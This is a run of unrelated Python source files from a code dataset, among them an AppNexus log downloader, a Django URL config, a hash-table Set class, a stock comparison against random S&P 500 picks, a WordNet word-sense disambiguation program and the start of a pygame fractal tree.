\"s3\":\n\t\t\tbucket = parsedPath.netloc\n\t\t\tkey = parsedPath.path\n\t\t\tif (key.startswith(\"/\")):\n\t\t\t\tkey = key[1:]\n\t\t\treturn bucket, key\n\telse:\n\t\t\traise ValueError (\"Illegal s3 path: path must start with s3://bucket-name/\", s3Path)\n\ndef logMessage(level, msg):\n\ttimeStr = datetime.datetime.now(datetime.timezone.utc).strftime('%Y-%m-%d %H:%M:%S')\n\tprint(\"{time} {level}: {msg}\".format(**{\"time\": timeStr, \"level\": level.upper(), \"msg\": msg}))\n\n\ndef main (argv):\n\n\t\tif sys.version_info < (3,0):\n\t\t\t\traise \"Must use Python 3.0 or newer\"\n\n\t\t# TODO: Create a Configuration class to encapsulate all these variables and their parsing instead of using global variables\n\t\t# config vars\n\t\tconfigFile = \"./pulllogleveldata-config\" # name of default config file that contains all the following settings\n\t\tusername = \"\"\n\t\tpassword = \"\"\n\t\tmemberId = \"\" # appnexus \"Seat\" id\n\t\tdataDir = \"\" # where to save log files\n\t\trequestsPerMin = 25 # limit of how many request per minit to not hit the limit on AppNexus API calls\n\t\tupdateSince = \"\" # default updateSince value for AN API call (by default retrieve all, which is about 10 days worth of data)\n\t\tminTimePerRequestInSecs=60\n\t\tmergeDailyFolder = True\n\n\t\tglobal awsAccessKeyId, awsSecret, awsRegion # AWS credentials\n\t\tawsAccessKeyId = \"\"\n\t\tawsSecret = \"\"\n\t\tawsRegion = \"\"\n\n\n\t\tdef read_config(configFileAbs):\n\t\t\tnonlocal username, password, memberId, dataDir, requestsPerMin, minTimePerRequestInSecs\n\t\t\tglobal awsAccessKeyId, awsSecret, awsRegion\n\n\t\t\tif os.path.isfile(configFileAbs) == False:\n\t\t\t\tlogMessage(\"Error\", \"config file '\" + configFileAbs + \"' not found.\")\n\t\t\t\tsys.exit(2)\n\n\t\t\t# load config\n\t\t\ttry:\n\t\t\t\t\tConfig = configparser.ConfigParser()\n\t\t\t\t\tConfig.read(configFileAbs)\n\t\t\t\t\tLoginDataSection = Config[\"LoginData\"]\n\t\t\t\t\tif LoginDataSection:\n\t\t\t\t\t\tusername = LoginDataSection.get(\"username\")\n\t\t\t\t\t\tpassword = LoginDataSection.get(\"password\")\n\t\t\t\t\t\tmemberId = LoginDataSection.get(\"memberId\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tlogMessage(\"Error\", \"config file must have [LoginData] section defined.\")\n\t\t\t\t\t\tsys.exit(2)\n\n\t\t\t\t\tPathsSection = Config[\"Paths\"]\n\t\t\t\t\tif PathsSection:\n\t\t\t\t\t\tdataDir = PathsSection.get(\"dataDir\", dataDir)\n\n\t\t\t\t\tRateLimitingSection = Config[\"RateLimiting\"]\n\t\t\t\t\tif RateLimitingSection:\n\t\t\t\t\t\trequestsPerMin = RateLimitingSection.getint(\"requestsPerMin\", requestsPerMin)\n\n\t\t\t\t\tif Config.has_section(\"aws\"):\n\t\t\t\t\t\tAwsSection = Config[\"aws\"]\n\t\t\t\t\t\tawsAccessKeyId = AwsSection.get(\"access_key_id\", awsAccessKeyId)\n\t\t\t\t\t\tawsSecret = AwsSection.get(\"secret_access_key\", awsSecret)\n\t\t\t\t\t\tawsRegion = AwsSection.get(\"region\", awsRegion)\n\n\t\t\t\t\t# we do naive throttling (non-optimal) because this script isn't\n\t\t\t\t\t# aware of your other API usage that may be happening simultaneously.\n\t\t\t\t\tminTimePerRequestInSecs = 60/requestsPerMin\n\n\t\t\texcept configparser.NoSectionError as sectionName:\n\t\t\t\t\tlogMessage(\"Error\", \"reading config file '\" + configFileAbs + \" ': Section not found '\" + sectionName + \"'\")\n\t\t\t\t\tsys.exit(2)\n\n\t\t\t# End of _read_config\n\n\t\tcookieFile = './authCookies'\n\t\tcookieJar = {}\n\t\tlogFiles = {}\n\n\t\tdef getUsage():\n\t\t\tnonlocal dataDir\n\t\t\tusage = \"USAGE:\\n\"\n\t\t\tusage += \"pulllogleveldata.py # download all files we don't currently have in '{0}'\\n\"\n\t\t\tusage += \"\\t-c # optional config file. Default is ./pulllogleveldata-config in the working dir\\n\"\n\t\t\tusage += \"\\t-f # only download files matching filter\\n\"\n\t\t\tusage += \"\\t-d # change download location from default\\n\"\n\t\t\tusage += \"\\t-s # Split days: if set, feed files will be broken by day into sub directory\\n\"\n\t\t\tusage += \"\\t # e.g. standard-feed/2017_06_17/2017_06_17_*.gz\\n\"\n\t\t\tusage += \"\\t-u # last update time UTC (see AppNexus definition of siphon's updated_since)\\n\"\n\t\t\tusage += \"\\t-h # help: show this help\\n\\n\"\n\t\t\treturn usage.format(dataDir)\n\n\t\t# parse args\n\t\ttry:\n\t\t\t\topts, args = getopt.getopt(argv,\"c:f:d:su:h\")\n\t\texcept getopt.GetoptError as error:\n\t\t\t\tlogMessage(\"Error\", \"parsing command line: \" + error + \"\\n\\n\" + getUsage())\n\t\t\t\tsys.exit(2)\n\n\t\tfilter = ''\n\t\tupadtedSince = ''\n\n\n\t\t# First check if there is a -c parameter and if so, reload the configuration from this file before processing the other parameters\n\t\t\n\t\tfor opt, arg in opts:\n\t\t\t\tif opt in (\"-c\"):\n\t\t\t\t\tconfigFile = arg\n\n\t\t# convert the path into an absolute path\n\t\tconfigFileAbs = os.path.abspath(os.path.expanduser(configFile))\n\n\t\t# Read configuration\n\t\tread_config(configFileAbs)\n\n\t\tfor opt, arg in opts:\n\t\t\t\tif opt in (\"-h\", \"--help\"):\n\t\t\t\t\t\tprint(getUsage())\n\t\t\t\t\t\tsys.exit()\n\t\t\t\telif opt in (\"-f\", \"--filter\"):\n\t\t\t\t\t\tfilter = arg\n\t\t\t\telif opt in (\"-d\", \"--datadir\"):\n\t\t\t\t\t\tdataDir = arg\n\t\t\t\telif opt in (\"-u\", \"--update-since\"):\n\t\t\t\t\t\tupdateSince = arg\n\t\t\t\t\t\t## validate format of update since\n\t\t\t\t\t\tif re.match(\"\\d{4}\\_\\d{2}\\_\\d{2}|\\_\\d{2}\", upadtedSince) == False:\n\t\t\t\t\t\t\tprint(\"updatedSince value '\" + updateSince + \"' is not matching YYYY_MM_DD_HH\")\n\t\t\t\telif opt in (\"-s\", \"--split\"):\n\t\t\t\t\t\t## turn daily-merge off, files will go into a daily subfolder made of the first 10 chars\n\t\t\t\t\t\t## of the log's name i.e. YYYY_MM_DD\n\t\t\t\t\t\tmergeDailyFolder = False\n\t\t\t\telif opt in (\"-c\"):\n\t\t\t\t\t\t## simply ignore, we already processed the -c option prior to this for loop, just make sure we don't fail\n\t\t\t\t\t\t## on unknown config option\n\t\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\t\t# Unknown config option, exit with error\n\t\t\t\t\t\tprint(getUsage())\n\t\t\t\t\t\tsys.exit()\n\n\t\t#\n\t\t# Do the work\n\t\t#\n\t\tlogMessage(\"INFO\", \"Running \" + __file__ + \" using this configuration:\\n \\\n[LoginData]\\n \\\nusername={0}\\n \\\npassword=*******\\n \\\nmemberId={1}\\n \\\n\\n \\\n[Paths]\\n \\\ndataDir={2}\\n \\\n\\n \\\n[aws]\\n \\\nawsAccessKeyId={3}\\n \\\nawsSecret=******\\n \\\nawsRegion={4}\\n \\\n\\n \\\nOther Parameters:\\n \\\nrequestsPerMin={5}\\n \\\nfilter={6}\\n \\\nupdatesSince={7}\\n \\\nCreate daily sub folders={8}\\n \\\n\\n\".format(username, memberId, dataDir,awsAccessKeyId,awsRegion, requestsPerMin, filter, updateSince, not(mergeDailyFolder)))\n\n\t\ttry:\n\t\t\t\tprint(\"Use CTRL-C to quit.\\n\")\n\t\t\t\tlogMessage(\"INFO\", \"Authenticating...\")\n\t\t\t\tcookieJar = getAuth(username, password, cookieFile)\n\t\t\t\tif cookieJar:\n\t\t\t\t\t\tlogMessage(\"INFO\", \"Getting AppNexus log listing...\")\n\t\t\t\t\t\tlogFiles = getAvailableLogs(cookieJar, updateSince)\n\t\t\t\t\t\tif logFiles:\n\t\t\t\t\t\t\t\tlogMessage(\"INFO\",\"Choosing new/updated log files to download...\")\n\t\t\t\t\t\t\t\tlogFiles = checkDupes(logFiles)\n\t\t\t\t\t\t\t\tif ensureDirExists(dataDir):\n\t\t\t\t\t\t\t\t\t\tlogMessage(\"INFO\",\"Downloading new/updated log files...\")\n\t\t\t\t\t\t\t\t\t\turl_logDownload = 'http://api.appnexus.com/siphon-download?member_id=' + memberId\n\t\t\t\t\t\t\t\t\t\tdownloadNewLogs(logFiles, dataDir, mergeDailyFolder, filter, url_logDownload, cookieJar, minTimePerRequestInSecs)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tlogMessage(\"ERROR\", \"Could not create data directory.\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tlogMessage(\"ERROR\", \"Could not get log listing.\")\n\t\t\t\telse:\n\t\t\t\t\t\tlogMessage(\"ERROR\", \"AppNexus Authentication failed.\")\n\t\texcept KeyboardInterrupt:\n\t\t\t\tprint(\" ...Okay, quitting.\")\n\t\t\t\tsys.exit(1)\n\n\n\nif __name__ == \"__main__\":\n\t\tmain(sys.argv[1:])","sub_path":"pulllogleveldata.py","file_name":"pulllogleveldata.py","file_ext":"py","file_size_in_byte":18832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"642628977","text":"# from django.contrib import admin\nfrom django.urls import path, re_path\nfrom django.conf.urls import include\nfrom reg_log import views\n\n\nurlpatterns = [\n path('accounts/', include('allauth.urls')),\n\n # path('users/login/', views.login_user),\n path('admin/', views.admin_new),\n # path('admins/', admin.site.urls),\n path('registration/', views.login_new_func, name='registration'),\n re_path('^email_conf/(?P\\w+)/$', views.check_from_email),\n path('admin/articles/', views.articles),\n path('admin/articles/add/', views.articles_add),\n re_path('^admin/articles_delete/(?P\\w+)/$', views.articles_delete),\n re_path('^admin/articles/edit/(?P\\w+)/$', views.articles_edit),\n path('create_group/', views.create_group)\n]","sub_path":"reg_log/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"567333933","text":"#!python\nfrom hashtable import HashTable\n\n\"\"\"\n__init__(elements=None) - initialize a new empty set structure, and add each element if a sequence is given\nsize - property that tracks the number of elements in constant time\ncontains(element) - return a boolean indicating whether element is in this set\nadd(element) - add element to this set, if not present already\nremove(element) - remove element from this set, if present, or else raise KeyError\nunion(other_set) - return a new set that is the union of this set and other_set\nintersection(other_set) - return a new set that is the intersection of this set and other_set\ndifference(other_set) - return a new set that is the difference of this set and other_set\nis_subset(other_set) - return a boolean indicating whether other_set is a subset of this set\n\"\"\"\nclass Set(object):\n def __init__(self, elements=None):\n\n self.size = 0\n self.ht = HashTable()\n\n def contains(self, item):\n \"\"\" O(1) for lookup on hashtable \"\"\"\n # checks to see if elements exist in the set\n return self.ht.contains(item)\n def add(self, item):\n # adds elements to the set\n \"\"\" O(1) Constant time for lookup, O(1) for hashing key and adding to the bucket \"\"\"\n # check to see if item is already in set, if not add to the collection\n # hashtable set function checks for duplicates and only adds uniques\n self.size += 1\n self.ht.set(item, item)\n\n def remove(self, item):\n # check to see if item is currently in set, if it is delete item\n # hashtable delete method checks to see if the item exists, then deletes\n \"\"\" O(1) Constant time for lookup, O(1) for deleting from ht, due to low load factor \"\"\"\n if self.ht.contains(item):\n self.size -= 1\n self.ht.delete(item)\n\n def union(self, other_set):\n # adds all the elements of the first set and second set to a new set\n \"\"\"O(n) for adding the items from each set to a new set \"\"\"\n new_set = Set()\n # add items from current set\n for key in self.ht.keys():\n new_set.ht.set(key, key)\n # add items from other set\n for key in other_set.ht.keys():\n new_set.ht.set(key, key)\n return new_set.ht\n\n def intersection(self, other_set):\n # creates a new set from the elements that exist in both sets\n # check elements first set to see if there are matching elements in\n # the second set\n \"\"\"O(n) for iterating through the keys and adding the items to a new set \"\"\"\n inter_set = Set()\n for key in self.ht.keys():\n if other_set.ht.contains(key):\n inter_set.ht.set(key,key)\n return inter_set.ht\n\n def difference(self, other_set):\n # returns all the items that are in current set but not in other set\n \"\"\"O(n) for iterating through the keys and adding the items to a new set \"\"\"\n diff_set = Set()\n # create new set\n # check first set to see if the item is in the second set if the item is not in the\n # second set then add the item\n for key in self.ht.keys():\n if not other_set.ht.contains(key):\n diff_set.ht.set(key, key)\n return diff_set.ht\n\n def subset(self, other_set):\n # returns true if all items in the current set are present in other set\n # loop through the first set to check if the item exists in the second set\n \"\"\"O(n) for iterating through the keys and adding the items to a new set \"\"\"\n for key in self.ht.keys():\n if not other_set.ht.contains(key):\n return False\n return True\n # if each item is present in the second set return true else return false\n\nv = Set()\nv.add(1)\nv.remove(0)\ni = Set()\ni.add(1)\ni.add(2)\ni.add(0)\n# v.union(i)\n# v.intersection(i)\n# i.difference(v)\nprint(v.subset(i))\n","sub_path":"Lessons/source/sets.py","file_name":"sets.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"135326719","text":"#===================================================================================================#\n# USER NAME: Thach Le \n# FILE NAME: 035-py-set-symmetric-difference-operation.py\n# FILE PATH: /E/thach-working/hackerrank/python-skill/035-py-set-symmetric-difference-operation.py\n#===================================================================================================#\n# import library\nimport os\nimport sys\n\n# main function \ndef main():\n\t# get input from console\n\t# n, set_n = int(input()), set(input().split())\n\t# m, set_m = int(input()), set(input().split())\n\n\t# get data from file\n\tstr_file_content = open('035-py-set-symmetric-difference-operation-tc', 'r').read().replace('\\r\\n', '\\n')\n\tlst_line = str_file_content.split('\\n')\n\tn, set_n = int(lst_line[0]), set(lst_line[1].split())\n\tm, set_m = int(lst_line[2]), set(lst_line[3].split())\n\n\tprint(len(set_n.symmetric_difference(set_m)))\n\t# print(len(set_n ^ set_m))\n\nif __name__ == \"__main__\":\n main()","sub_path":"python-skill/035-py-set-symmetric-difference-operation.py","file_name":"035-py-set-symmetric-difference-operation.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"125865875","text":"import numpy as np\nimport sys\n\nbtc=np.loadtxt('../bitcoin/dataUSD.dat',usecols=range(1,8))\naltcoin=np.loadtxt('dataUSD.dat',usecols=range(1,8))\n\n#mask the btc array to only include dates also present in altcoin\nmask=np.in1d(btc[:,0],altcoin[:,0])\nbtc=btc[mask]\n\n#check if dimensions match\nif not altcoin.shape[0]==btc.shape[0]:\n\tprint(\"Dimensions don't match. ABORT\")\n\tsys.exit()\n\t\nbool=altcoin[:,0]==btc[:,0]\n\n#test if dates match\nif not all(bool):\n\tprint(\"Dates don't match. ABORT\")\n\tsys.exit()\n\naltcoin[:,1]=altcoin[:,1]/btc[:,1]\naltcoin[:,2]=altcoin[:,2]/btc[:,1]\naltcoin[:,3]=altcoin[:,3]/btc[:,1]\naltcoin[:,4]=altcoin[:,4]/btc[:,1]\n\nnp.savetxt('dataBTC.dat',altcoin,fmt='%08d\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f')","sub_path":"convertBTC.py","file_name":"convertBTC.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"268998203","text":"import random\n\nfirst_name = [\"Brad\", \"Ashley\", \"Anne\", \"Angelina\", \"Johnny\", \"Tom\", \"Robert\", \"Morgan\", \"Leonardo\", \"Tom\", \"Nicolas\", \"Bruce\", \"Will\", \"Vin\", \"Scarlett\", \"Megan\", \"Cameron\", \"Natalie\", \"Marilyn\", \"Sarah Jessica\", \"Jennifer\", \"Kate\", \"Meryl\", \"Reese\"]\nlast_name = [\"Pitt\", \"Benson\", \"Hathaway\", \"Jolie\", \"Depp\", \"Hanks\", \"De Niro\", \"Freeman\", \"DiCaprio\", \"Cruise\", \"Cage\", \"Willis\", \"Smith\", \"Diesel\", \"Johansson\", \"Fox\", \"Diaz\", \"Portman\", \"Monroe\", \"Parker\", \"Lawrence\", \"Winslet\", \"Streep\", \"Witherspoon\"]\n\nrandom_num = random.randint(0, 8)\nrandom_num2 = random.randint(0, 8)\nrandom_num3 = random.randint(0, 8)\n\n\n# print(\"You should name your child after this famous random name!\")\n# print(first_name[random_num] + \" \" + last_name[random_num2])\n\n\nsides = [\"fries\", \"salad\", \"mashed potatoes\", \"mac and cheese\", \"garlic bread\", \"potato salad\", \"mushroom soup\", \"hash browns\", \"mozzarella sticks\"]\nmain_courses = [\"rotisserie chicken\", \"fried chicken\", \"pulled pork\", \"grilled fish\", \"crabcakes\", \"beef enchiladas\", \"meatloaf\", \"bbq ribs\", \"Fried Rice\"]\ndesserts = [\"ice cream\", \"chocolate cake\", \"cheesecake\", \"flan\", \"bread pudding\", \"pecan pie\", \"panna cotta\", \"key lime pie\", \"tutti frutti\"]\n\nprint(\"You should have this for dinner today!\")\n\n\n# print(random_num)\n# print(random_num2)\n# print(random_num3)\n\n\nprint(sides[random_num])\nprint(main_courses[random_num2])\nprint(desserts[random_num3])\n\n# print(len(sides))\n# print(len(main_courses))\n# print(len(desserts))\n","sub_path":"random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"75878825","text":"import random\n# import cv2\n# google colabで画像を表示するための処理\n# from google.colab.patches import cv2_imshow\nimport pandas as pd\nimport datetime\nimport yfinance as yf\nimport time\n\n# 調整項目1:調査対象の期間\nstart = datetime.date(2020, 3, 23)\nend = datetime.date.today()\nstartsrt = start.strftime('%Y-%m-%d')\nendstr = end.strftime('%Y-%m-%d')\n\n# 調整項目2:比較したい銘柄(パフォーマンスを見たい銘柄)\ncodelist2 = ['watt', 'li', 'xpev', 't', 'mo',\n 'xom', 'aapl', 'msft', 'mga', 'spyd']\n\n# S&P500のティッカー取得(wikipediaより)\nurl = 'http://en.wikipedia.org/wiki/List_of_S%26P_500_companies'\ntables = pd.read_html(url)\ndf = tables[0]\n\ngum_sum = []\n\n# S&P500からランダム銘柄選択\nfor j in range(1):\n codelist = []\n for i in range(10):\n gundam = random.randint(0, 504)\n ticker = df[\"Symbol\"].loc[gundam]\n\n # ガンダムがランダムに選択するイメージ\n # print(\"\\n■■■\"+str(i+1) + \"銘柄目…■■■\")\n # もったいつけて表示するための処理\n # time.sleep(3)\n # print(\"\\n\\t\\t\"+ticker+\" !!\\n\")\n # print (df[\"Security\"].loc[gundam])\n # print (df[\"GICS Sector\"].loc[gundam])\n # print (df[\"GICS Sub-Industry\"].loc[gundam])\n # print (df[\"Headquarters Location\"].loc[gundam])\n # print (df[\"Founded\"].loc[gundam])\n # ガンダムの画像(画像は別途用意が必要)\n # img = cv2.imread('./gundam.png', cv2.IMREAD_UNCHANGED)\n # cv2_imshow(img)\n\n # 取得したティッカーを保持\n codelist.append(ticker)\n\n # ティッカーにドットが含まれる場合、ハイフンへ変換(仕様)\n codelistr = [s.replace('.', '-') for s in codelist]\n print(codelistr)\n\n # 株価取得 ランダム\n data = yf.download(codelistr, start=start, end=end)[\"Adj Close\"]\n df_all = (1+data.pct_change()).cumprod()\n # print(df_all.iloc[-1])\n print('■ランダム '+startsrt + 'から' + endstr + 'まで 平均 ' +\n str(round(df_all.iloc[-1].mean(), 2)) + ' 倍')\n # 結果を保持\n gum_sum.append(df_all.iloc[-1].mean())\n\n# 株価取得 あなた\ndata = yf.download(codelist2, start=start, end=end)[\"Adj Close\"]\ndf_all2 = (1+data.pct_change()).cumprod()\nprint(df_all2.iloc[-1])\n\ncodelist3 = ['QQQ', 'VOO']\n# 株価取得 ベンチマーク \ndata = yf.download(codelist3, start=start, end=end)[\"Adj Close\"]\ndf_all3 = (1+data.pct_change()).cumprod()\nprint(df_all3.iloc[-1])\n\n# 結果出力\nprint('\\n■■■ 結果(期間 '+startsrt + ' - ' + endstr + ') ■■■')\n\nif sum(gum_sum)/len(gum_sum) > df_all2.iloc[-1].mean():\n print(\"\\n\\n\\t\\t負け!!\")\n print(\"\\n\\n\\t\\t序列: 🐵 > あなた\")\n print(\"\\n\\n\\t\\t🐵に運用を任せましょう!\\n\")\nelse:\n print(\"\\n\\n\\t\\t勝ち!!\")\n print(\"\\n\\n\\t\\t序列: 🐵 < あなた\")\n print(\"\\n\\n\\t\\t人類の勝利です!\\n\")\n\nprint('\\n\\t(ベンチマーク 平均 ' + str(round(df_all3.iloc[-1].mean(), 2)) + ' 倍)')\nprint('\\n\\t(あなた    平均 ' + str(round(df_all2.iloc[-1].mean(), 2)) + ' 倍)')\nprint('\\n\\t(サル🐵    平均 ' + str(round(sum(gum_sum)/len(gum_sum), 2))+' 倍)')\n","sub_path":"stock/hippen4_monkey.py","file_name":"hippen4_monkey.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"397716924","text":"import nltk\nimport sys\nimport string\nfrom nltk.corpus import wordnet_ic\nfrom nltk.corpus import wordnet as wn\nimport math\nfrom scipy.stats.stats import spearmanr\nimport time\nimport operator\nfrom collections import defaultdict\nfrom nltk.corpus import brown\n\nwnic = None\n\ndef create_ic(wsd_test_filename,judgment_file,icfile):\n '''\n creating ic file for only words in the wsd_contexts.txt and the mc_similarity.txt files.\n :param wsd_test_filename: file wsd_contexts.txt\n :param judgment_file: mc_similarity.txt\n :param icfile: name of the output ic file\n :return: ic dictionary which can be read by nltk.corpus.reader.information_content\n '''\n\n brown_corpus = brown.tagged_sents() #extract tagged sentences which are of the form (word,tag). We are doing this so that we can pick words with only the NN tags\n senses_list = []\n all_words = {}\n\n #since we are creating ic file for only words in the two given files, extract all words, contexts and their subsumers and store it in a list\n\n with open(wsd_test_filename, 'r') as wsd_file:\n for line in wsd_file:\n line = line.strip('\\n')\n line = line.split('\\t')\n probe_word = line[0]\n noun_groups = line[1].split(',')\n\n for ws in wn.synsets(probe_word, pos=wn.NOUN):\n senses_list.append(ws)\n for context in noun_groups:\n for cs in wn.synsets(context, pos=wn.NOUN):\n senses_list.append(cs)\n subsumers = ws.common_hypernyms(cs)\n for subsumer in subsumers:\n if subsumer._pos == 'n':\n senses_list.append(subsumer)\n\n with open(judgment_file, 'r') as judge_file:\n for line in judge_file:\n line = line.strip('\\n')\n line = line.split(',')\n probe_word = line[0]\n context = line[1]\n\n for ws in wn.synsets(probe_word, pos=wn.NOUN):\n senses_list.append(ws)\n for cs in wn.synsets(context, pos=wn.NOUN):\n senses_list.append(cs)\n subsumers = ws.common_hypernyms(cs)\n for subsumer in subsumers:\n if subsumer._pos == 'n':\n senses_list.append(subsumer)\n\n #extract the lemma from all senses\n for sense in senses_list:\n lemma, pos, index = sense._name.split('.')\n all_words[lemma] = None\n\n #add1 smoothing\n for aw in all_words:\n all_words[aw] = 1\n\n noun_tags = ['NN']\n\n #increment counts for words that occur in the brown corpus\n for sent in brown_corpus:\n for w, t in sent:\n if w in all_words and t in noun_tags:\n all_words[w] += 1\n\n total_words = sum(all_words.values())\n\n with open(icfile, 'w') as newIcFile:\n\n #took help from this stackoverflow post : https://stackoverflow.com/questions/32436663/create-information-content-corpora-to-be-used-by-webnet-from-a-custom-dump\n\n # Hash code of WordNet 3.0\n newIcFile.write('wnver::eOS9lXC6GvMWznF1wkZofDdtbBU' + '\\n')\n newIcFile.write('1740n ' + str(total_words) + ' ROOT\\n')\n\n for word in all_words:\n synsets = wn.synsets(word)\n count = all_words[word]\n total = total_words\n\n #compute Ic as per the formula in the class notes\n logProb = -math.log(float(count) / total)\n\n for synset in synsets:\n line = str(synset._offset) + 'n' + ' ' + str(logProb) + '\\n'\n newIcFile.write(line)\n\n ic = create_ic_dictionary(icfile)\n return ic\n\n\ndef create_ic_dictionary(icfile):\n #code reused from: http://www.nltk.org/_modules/nltk/corpus/reader/wordnet.html\n \"\"\"\n Load an information content file from the wordnet_ic corpus\n and return a dictionary. This dictionary has just two keys,\n NOUN and VERB, whose values are dictionaries that map from\n synsets to information content values.\n\n :type icfile: str\n :param icfile: The name of the wordnet_ic file (e.g. \"ic-brown.dat\")\n :return: An information content dictionary\n \"\"\"\n ic = {}\n ic['n'] = defaultdict(float)\n ic['v'] = defaultdict(float)\n for num, line in enumerate(open(icfile)):\n if num == 0: # skip the header\n continue\n fields = line.split()\n offset = int(fields[0][:-1])\n value = float(fields[1])\n pos = 'n'\n if len(fields) == 3 and fields[2] == \"ROOT\":\n # Store root count.\n ic[pos][0] += value\n if value != 0:\n ic[pos][offset] = value\n return ic\n\n\ndef get_reznik_similarity(ws, cs):\n '''\n :param ws: word synset\n :param cs: context synset\n :return: subsumer with the max information content, information content value\n '''\n\n #print(wordSynset._pos)\n\n # get the common hypernyms\n subsumers = ws.common_hypernyms(cs)\n max_value = 0\n max_subsumer = None\n\n #when no subsumers are found return 0 as max_value and None as max_subsumer\n if len(subsumers) == 0:\n return (max_value, max_subsumer)\n\n #subsumer_ic = max(information_content(s, ic) for s in subsumers)\n\n\n for subsumer in subsumers:\n if subsumer._pos != 'n': #choose only subsumers with pos as noun\n continue\n result = nltk.corpus.reader.information_content(subsumer, wnic) #get the ic for the subsumer\n\n #if ic of the current subsumer is greater than the max value, set the new value as max\n if result > max_value:\n max_value = result\n max_subsumer = subsumer\n return (max_value, max_subsumer)\n\n\nif __name__ == \"__main__\":\n\n if (len(sys.argv) >=2):\n information_content_file_type = sys.argv[1]\n wsd_test_filename = sys.argv[2]\n judgment_file = sys.argv[3]\n output_filename = sys.argv[4]\n else:\n print(\"Incorrect number of arguments\")\n\n start = time.clock()\n\n #select the right ic file based on the input parameters\n if information_content_file_type ==\"nltk\":\n wnic = wordnet_ic.ic('ic-brown-resnik-add1.dat')\n else:\n wnic = create_ic(wsd_test_filename,judgment_file,'hw8_myic.txt')\n\n with open(output_filename,'w') as op_file:\n\n #creating a list to store the answers obtained by the algorithm\n wsd_answers_obtained = []\n\n with open(wsd_test_filename,'r') as wsd_file:\n\n for line in wsd_file:\n line = line.strip('\\n')\n line = line.split('\\t')\n probe_word = line[0] #extract probe word\n noun_groups = line[1].split(',') #estract noun groups\n\n wordSynsets = wn.synsets(probe_word) #get all synsets of the probe_word\n max ={} #stores the values in preference of a word sense\n\n for noun_group in noun_groups:\n max_value = 0\n max_probe_synset = None\n max_context_synset = None\n max_ic_subsumer = None\n\n ngSynsets = wn.synsets(noun_group) #get all synsets of the noun_group\n\n for ws in wordSynsets: #for all values of probe_word synsets\n for ns in ngSynsets: #for all values of context word synsets\n (value,sub) = get_reznik_similarity(ws,ns) #get resnik similarity value and the subsumer that gives that value\n\n #if value greater than max_value, set the new values as max for the given word, noun_group tuple\n if value > max_value:\n max_value = value\n max_probe_synset = ws\n max_context_synset = ns\n max_ic_subsumer = sub\n\n #print the similarity score\n write_line = \"(\"+probe_word+\", \"+noun_group+\", \"+str(max_value)+\") \"\n op_file.write(write_line)\n\n #increment the value of the probe word sense which has the max value\n if max_probe_synset in max:\n max[max_probe_synset] += max_value\n else:\n max[max_probe_synset] = max_value\n\n #sort descencing the max dictionary to obtain the word sense that is most preferred given the context words\n sorted_max = sorted(max.items(), key=operator.itemgetter(1), reverse=True)\n\n final_sense = sorted_max[0][0]._name #print the preferred sense\n\n #extract and print the definitions for the sense preferred\n definition = sorted_max[0][0]._definition\n print(str(final_sense) + \"\\t\" + str(definition))\n\n wsd_answers_obtained.append(final_sense)\n op_file.write(\"\\n\"+str(final_sense)+\"\\n\")\n\n with open('wsd_contexts.txt.gold','r') as wsd_gold:\n wsd_answers_gold = []\n for line in wsd_gold:\n wsd_answers_gold.append(line.split()[0])\n total_records = len(wsd_answers_gold)\n\n list_common = []\n #compare the results obtained by the algorith with the gold file\n for a, b in zip(wsd_answers_obtained, wsd_answers_gold):\n if a == b:\n list_common.append(a)\n correct_obtained = len(list_common)\n print(\"Accuracy is: \"+ str((correct_obtained*100)/float(total_records)))\n\n\n human_scores =[]\n resnik_scores =[]\n\n with open(judgment_file,'r') as judgments:\n for line in judgments:\n line = line.strip('\\n')\n line = line.split(',')\n probe_word = line[0] #extract probe word\n context = line[1] #extract contexts\n human_score = float(line[2]) #get human score\n human_scores.append(human_score)\n\n wordSynsets = wn.synsets(probe_word) #get all synsets for the probe_word\n ngSynsets = wn.synsets(context) #get all synsets for the context word\n\n max ={}\n max_value = 0\n max_probe_synset = None\n max_context_synset = None\n max_ic_subsumer = None\n\n for ws in wordSynsets:\n for ns in ngSynsets:\n (value, sub) = get_reznik_similarity(ws, ns) #get resnik similarity for ws and ns\n\n # if value greater than max_value, set the new values as max for the given word, noun_group tuple\n if value > max_value:\n max_value = value\n max_probe_synset = ws\n max_context_synset = ns\n max_ic_subsumer = sub\n\n # set the score\n similarity_score = max_value\n resnik_scores.append(similarity_score)\n\n write_line = \"\" + probe_word + \",\" + context + \":\" + str(similarity_score) + \"\\n\"\n op_file.write(write_line)\n\n #compute the correlation using the scipy.stats spearman\n op_file.write(\"Correlation:\" + str(spearmanr(human_scores, resnik_scores).correlation) + \"\\n\")\n\n print('Parsing complete')\n print(\"Time taken :\" + str(time.clock() - start))\n","sub_path":"word_sense_disambiguation/src/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":11425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"638186562","text":"import sys\nimport pygame\nimport random\nfrom math import sin, cos, pi\nfrom pygame.locals import *\n\npygame.init()\n\nfps = 1000\nfpsClock = pygame.time.Clock()\n\nwidth, height = 800, 800\npygame.display.set_caption('Fractal Tree')\nscreen = pygame.display.set_mode((width, height))\n\ndelta = pi / 4\n\n\ndef map(value, x1, y1, x2, y2):\n return (value - x1) * (y2 - x2) / (y1 - x1) + 